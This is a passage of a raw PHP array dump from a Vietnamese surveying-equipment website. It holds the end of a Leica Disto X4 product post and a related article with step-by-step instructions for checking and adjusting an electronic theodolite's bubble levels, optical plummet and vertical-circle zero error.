style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_moi/leica_disto_x4/IP65-leica-disto-x4.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo góc nghiêng 360<sup>o</sup></strong><br /> Xác định độ dốc (nghiêng) của mái nhà, ram đốc, mái dốc, cầu thang, vì kèo...</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Cấp bảo vệ IP65</strong><br /> Cho khả năng chống bụi bặm, môi trường ẩm ướt nơi công trường. Ngoài ra thiết bị có khả năng an toàn khi rơi ở độ cao 2m</span></span></td> </tr> </tbody> </table> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <br /> <br /> <br /> <br /> </span></span>', 'images' => '2018111207535647c80092b4d21138b6caefb4b536d2f7.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-12', 'modified' => '2025-08-10', 'status' => '1', 'view' => '84410', 'slug' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '925', 'rght' => '926', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $tinlq = array( (int) 0 => array( 'Post' => array( 'id' => '494', 'name' => 'Cách kiểm tra và hiệu chỉnh máy kinh vĩ điện tử', 'code' => null, 'alias' => 'cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Hãy cùng chúng tôi tìm hiểu cách kiểm tra và hiệu chỉnh máy kinh vĩ điện tử nhé!</span></span>', 'content' => '<h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="1bot-thuy-dai" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1.Bọt thủy dài</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">(Đặt độ vuông góc trục bọt thủy dài với trục đứng của máy)</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt máy lên chân và tiến hành cân máy </span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay máy đi 180 độ và kiểm tra xem bọt khí có nằm đúng tâm bọt thủy không</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trường hợp bọt thủy nằm đúng vị trí, không cần hiệu chỉnh. Nếu khác đi, tiến hành hiệu chỉnh theo hướng dẫn.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay vít chỉnh bọt thủy dài với tâm chính đã cung cấp kèm theo, đưa bọt khí dịch về tâm một nửa khoảng sai lệch</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Chỉnh tâm bọt khí bằng vít cân máy A</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Kiểm tra lại và hiệu chỉnh cho đến khi đạt kết quả</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieuchinh bot thuy dai" class="wp-image-5348 size-full aligncenter" height="346" sizes="(max-width: 488px) 100vw, 488px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai-300x213.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png 488w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="488" /></a></span></span></span></p> <h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="2bot-thuy-tron" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Bọt thủy tròn</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Trước khi tiến hành cân bằng bọt thủy tròn, kiểm tra xem có sự sai lệch của bọt khí khỏi vòng chuẩn tâm trên bọt thủy. Trường hợp không có sự sai lệch, không cần hiệu chỉnh. Nếu có sai lệch, lấy tăm chỉnh dùng tay hiệu chỉnh ba vít hiệu chỉnh đưa bọt khí về tâm.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieuchinhbotthuytron" class="wp-image-5349 size-full aligncenter" height="344" sizes="(max-width: 493px) 100vw, 493px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1-300x209.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png 493w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="493" /></a></span></span></span></p> <h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="3kinh-doi-tam" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">3.Kính dọi tâm</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">(Đặt thẳng hàng trục thấu kính theo phương dây dọi với trục đứng cảu thiết bị)</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đăt thiết bị lên chân ( không cần cân bằng)</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt tấm vạch dấu “X” xuống đất bên dưới thiết bị</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhìn vào kính dọi tâm, chỉnh vít cân máy đưa ảnh dấu “X” vào tâm vòng chuẩn</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay máy đi 180 độ</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trường hợp dấu “X” nằm ở tâm lưới chỉ, không cần hiệu chỉnh. Trường hợp sai lệch, tiến hành hiệu chỉnh theo chỉ dẫn dưới đây.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><img alt="hieuchinhkinhdoitam" class="wp-image-5350 size-full aligncenter" height="394" sizes="(max-width: 994px) 100vw, 994px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam-300x119.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam.png 994w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="994" /></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Dùng tuốc no vít đã cung cấp, quay vít chỉnh đưa dấu “X” đi nửa đoạn thẳng nối tâm với lưới chuẩn</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Lặp lại các bước kiểm tra</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieu chinh doi tam" class="wp-image-5351 size-full aligncenter" height="490" sizes="(max-width: 346px) 100vw, 346px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam-212x300.png 212w, http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png 346w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="346" /></a></span></span></span></p> <br /> <h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="4-sai-so-diem-0-ban-do-dung" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">4. Sai số điểm 0 bàn độ đứng</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt máy lên và cân máy</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Để ống kính ngắm về bên trái, chọn mục tiêu P tùy ý theo bàn độ ngang trong phạm vi 10 độ, và đọc giá trị góc đứng…VR</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay ngược ống kính về phía bên phải và đọc giá trị khác góc đứng…VL của mục tiêu P</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Khi VR+VL=360 độ/400G khi đặt thiên đỉnh 0 độ, hoặc khi VR+VL=180 độ/200G ( Hoặc 540 độ/600G) khi đặt ngang 0 độ, không cần hiệu chỉnh. Nếu sai khác thì phải tiến hành hiệu chỉnh theo hướng dẫn sau:</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> Sai số ngắm chuẩn phương đứng cho các góc nói trên (360 độ, 180 độ và 540 độ hoặc 400G, 200G và 600G), và liên quan tới hằng số trục đứng. Hằng số trục đứng là phần bù kép cho sai số điểm không. Chú ý rằng sai số du xích đối xứng không có quan hệ với hằng số trục đứng. Do đó, phải lấy giá trị đọc một trong hai phương thiên đỉnh 0 hoặc phương ngang 0 độ, và tiến hành kiểm tra sai số.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trước khi đo, xem lại phương góc đứng 0 độ ở dạng cài đặt tham số ban đầu</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Góc đứng hiển thị như sau thiên đỉnh 0, bất chấp cài đặt ban đầu</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Hai kiểu sai số cố định trục đứng để đặt đóng hay tắt bật tự động bù trục đứng, và ấn định trong các mục cài đặt ban đầu cho máy</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Bù sai số điểm 0 là chức năng không tính đến bật cài đặt tự động bù trục đứng</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trong khi ấn phím ký hiệu bóng đèn, bật công tắc nguồn.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Màn hình hiển thị sáng lên và giá trị hằng số trục đứng hiện thời được hiển thị.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5353 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn1-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn1-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn1-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn1.png 487w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"> Nghiêng ống kính qua phương ngang ở vị trí mặt trái để đọc giá trị góc đứng</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Góc đứng “VR” xuất hiện ở dòng trên màn hình tinh thể lỏng.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn11.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5354 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn11-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn11-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn11.png 487w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Khi ở vị trí mặt trái, ngắm mục tiêu P tùy ý, nằm trong phạm vi 10 độ theo phương ngang.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -VR mang ra giá trị góc đứng của mục tiêu P</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn12.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5355 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn12-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn12-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn12-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn12.png 482w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím (HOLD) lưu giá trị VR vào bộ nhớ</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Giá trị VR lưu giữ hiển thị ở dòng phía bên mà hình tinh thể lỏng, đồng thời VL hiển thị ở dòng dưới.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn13.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms 